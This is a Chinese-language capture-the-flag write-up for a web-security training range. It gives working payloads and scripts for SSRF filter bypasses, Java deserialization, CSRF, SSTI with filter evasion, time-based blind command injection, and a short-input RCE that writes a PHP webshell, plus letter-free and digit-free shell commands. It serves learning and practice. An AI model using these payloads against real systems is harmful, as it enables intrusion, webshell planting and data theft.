某天,突然感到一阵阵空虚,然后伴随一阵眩晕感,我来到了web的沙滩。慢慢的向前走,出来了一道道题目...
赞颂好靶场,免费送了我高级会员
入门-走到了岸边
最简单的PHP-SSRF
给了源码,发现只过滤127.0.0.1

根据题目描述flag在tmp路径下面,可以考虑file协议
修改数据包才可以拿到答案
进去是一个成绩查询系统
提示让查询qiansanyi的成绩
前端禁查询这个人成绩,那我们改数据包直接往后端发不就好了
Flag在返回包里
首页有一个点我刷新,点击之后返回包就是flag
做一个白帽子
这个是一个福利题,我输入经典弱口令admin/123456点进去点击提交漏洞即可
入门弱口令靶场
弱口令爆破
密码就是admin
初级Java反序列化
题目给了jar包,暂时不知道怎么看对应的路由关系
这里重写了readObject方法:

是从post解码并且反序列一个文件
需要构造一个 ExploitPayload 对象,设置 command 字段,然后序列化成字节 → Base64 → 发送。
需要注意传送的得是text/plain base64

用反射的方式生成序列化后的东西
java
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class GeneratePayload {
public static void main(String[] args) throws Exception {
// 在这里修改你要执行的命令
String command = "cat /tmp/flag.txt"; // ←←← 可以改成 id、whoami 等
// 创建 ExploitPayload 对象
Class<?> clazz = Class.forName("com.ctf.readobject_demo.ExploitPayload");
Object payload = clazz.getDeclaredConstructor().newInstance();
// 反射设置 command 字段
Field field = clazz.getDeclaredField("command");
field.setAccessible(true);
field.set(payload, command);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(payload);
}
// 转 Base64
String base64 = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println("=== Payload Base64 ===");
System.out.println(base64);
}
}
SSRF不允许使用File协议了1

可以大写绕过
SSRF-请尝试绕过、SSRF不允许使用File协议了2
file:后加一个空格绕过即可
入门CSRF
页面存在一个给admin留言,怀疑这里存在XSS,可以窃取管理员cookie

页面还存在一个转账功能点
注意看数据包构造,我们想办法把这个作为恶意链接给admin留言试一试
构造恶意payload:<img src="http://xvcunc0.haobachang1.loveli.com.cn:8888/transfer.php?to_user=user\&amount=11">
然后就能愉快接受转账了
渐渐往水中走去
sad_bottle
这提供了一个预览文件的功能点
程序这里的代码通过检测解压后的文件绝对路径开头是否变化,拒绝了目录遍历攻击:

这里的路由刚开始猜测是否存在SSRF的功能点,但是发现做了很好的过滤,暂时没找到方法绕过它的攻击

虽然没找到SSRF漏洞,但是还是找到了一个ssti点:
这里的template是bottle库的一个模板点。这里过滤的十分严格(黑名单如下):

一共26个字母,就flag没有被过滤。然后一些特殊符号也被过滤了
现在我们试着生成探测点:{{7*7}}看看是否存在利用点

参考这个
新学到两个绕过思路
1.unicode特殊编码绕过,只针对函数才行,python解释器能识别这样的字符,但是to_lower函数不可以
2./NNN进制编码绕过(因为题目没有过滤数字)
payload就是open.read这样的构造。写一个脚本进行生成payload,然后压缩上传即可
exp:
python
def trans(a):
result=''
for i in a:
if ord('a')<=ord(i)<=ord('z'):
result+=chr(0x1D622+ord(i)-ord('a'))
else:
result+=i
return result
def trans_path(a):
result=''
for i in a:
result+=f"\\{ord(i):03o}"
return result
print(
trans("open")+
"('"+
trans_path("/tmp/flag.txt")+
"')."+
trans("read"+"()"))
Flask-SSTI
get参数是一个ssti

下策是fenjing一把梭

如果纯手工测试的话,还是要先想办法找到可利用的点
先执行:
"".__class__
然后执行
{{"".class.base}}
这个没怎么过滤,方便我们利用了
执行
"".__class__.__bases__[0].__subclasses__()
然后慢慢找就行了。找到可利用的类的顺序
水果忍者
这暴露了敏感接口,直接访问就可以得到flag

欢迎你加入信息安全社团
第一关;看源码得到smx1:FLAG_PART1
然后我们看源码进入第二关
看提示估计是要改cookie

改完之后得到:shetuan:FLAG_PART2
和下一关地址
看了wp才知道这里需要目录扫描了
发现一个配置文件:/nginx.conf
还有robot.txt
sansan4:FLAG_PART4
然后是一个简单的考正则的

第一个意思是多行匹配php,第二个是整个字符串匹配
那也就是说构造一个二行的字符串即可
payload:%0aphp
获得
jiujiu5:FLAG_PART5
qiyue6.php
我们将这个按钮F12取消disabled即可
然后得到
qiyue6:FLAG_PART6
下一关:lihao7.php
这个php是空白页面

抓包看看是不是错过了什么信息,提示说这是一个蚁剑页面
看wp说密码是shell,可能是一个弱口令??
然后拿到shell看flag即可
一些RCE的,只写有点难度的了
命令执行漏洞盲打
因为靶机不出网,无法反弹shell和dnslog外带数据
这里利用sql盲注的思路,利用"sleep"进行猜测,假如爆到正确字符,就进行sleep
请求的数据包是去execute接口
请求体:
{"command":"1"}
以下是python脚本:也可以用burp
python
import requests
import time
url = "http://yfagp6f.haobachang1.loveli.com.cn:8888/execute"
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{}"
flag = "flag{"
def single_attack(payload):
try:
t1 = time.time()
requests.post(url, json=payload,timeout=5)
t2 = time.time()
return t2 - t1 > 1.5
except:
return False
print("-----running------")
while True:
for c in chars:
test=flag+c
cmd = f"127.0.0.1&&grep -q '^{test}' /tmp/flag.txt&&sleep 2"
payload = {"command": cmd}
if single_attack(payload):
flag+=c
print(flag)
find=True
break
if flag.endswith("}"):
print("find!flag is "+flag)
break
只允许你输入7个字符,你还能执行你想要的命令吗
这个思路是
1.>后面跟字符是直接创建了这个文件。名称就是后面的字符
2.sh后面跟一个命令(哪怕是txt只要内容是命令)就会被执行
3.ls -t是可以按照时间顺序,新创建的在前面进行输出所有文件
那也就是说 我们可以用这个思路,进行多次写入字符,即可达到攻击效果
写一个脚本发送payload
python
import requests
import time
url = "http://c4ayq4x.haobachang2.loveli.com.cn:8888/"
chars = r"""
>hp
>1.p\
>d\>\
>\ -\
>e64\
>bas\
>\|\
>z8+\
>0pO\
>xJ1\
>Wyc\
>1NU\
>9QT\
>oJF\
>YWw\
>GV2\
>AgQ\
>waH\
>PD9\
>o\ \
>ech\
ls -t>0
sh 0
"""
def single_attack(payload):
print(payload,end="\n")
requests.post(url, data=payload,timeout=5)
print("-----running------")
for i in chars.splitlines():
if not i:
continue
temp = i
payload={"command":temp}
single_attack(payload)
print("-------over------")
然后我们蚁剑连接即可
小小游个泳
哎,这是什么,又一个博客系统
发现一个download的api,怀疑是任意文件下载
首先尝试file:///协议可能出现无限重复URL。后来改为../../../成功!
可以任意文件下载,即可下载flag.txt
哎,这是什么,又一个博客系统2
直接点进去发现上次的任意文件下载好像加密了一下 可惜密钥和iv都给了

经过测试就是AES。相同密钥加密之后再进行base64和URL加密即可:


Sherry Protocol
看到主页的提示,应该是需要将这几页的数字加一块,服务器就会返回一个flag了:

抓包看到的数据返回的是乱码,因此猜测js文件进行了加密操作

因为这是采用了IIFE 闭包模块化,我们调用的时候加上ProtoClient前缀,就跟俗称的类和对象差不多,此外,这里面直接定义了解码和编码请求包的函数,还有一个函数专门用于请求数据,因此我们可以不用那么麻烦写脚本了。考虑是写一些脚本控制台运行
同时这是一个异步函数,因此前面要先加上await
我们看一下返回包,只需要把这个数组的加和一下即可:

由此看来这个题也可以爆破,但是得爆破到猴年马月了。
把这个放在控制台运行即可:
javascript
var sum = 0;
for (var i = 1; i <= 20; i++) {
let numbers = (await ProtoClient.fetchPage(i)).numbers;
for (var j = 0; j < 10; j++) {
sum += numbers[j];
}
}
console.log(sum);
Vue路由守卫绕过
vue前端搜索api看到下面的:

访问/Dashboard_haobchang123即可拿到flag
哦豁,你不能输入字母了
RCE但是不允许输入字母和数字
这个是php里面的思路。
这时候我们用$""来执行命令。默认/NNN是八进制。16进制因为有字母x所以不可以
这时候我们需要分割一下:
- '\\143\\141\\164'IFS$'\057\164\155\160\057\146\154\141\147\056\164\170\164'
不然会整个被当作一个字符串
最终payload:
'\\143\\141\\164'\<'\057\164\155\160\057\146\154\141\147\056\164\170\164'
数字0的奇迹
提示命令中不允许出现英文字母或数字1-9
那也就是说只能出现0
这里需要介绍一个命令叫做$0,意思是当前的shell
我们配合通配符即可
payload:$0 /???/????.???
只允许你输入5个字符,你还能执行你想要的命令吗
可以参考那个7字符的
无字母无数字2
./脚本 表示"当前目录下执行可执行文件(新进程)"。
. /脚本 表示"在当前 shell 中source /脚本"。因此是 source 的语法。
因此使用?号来代替/tmp/flag.txt 字符
. /???/????.???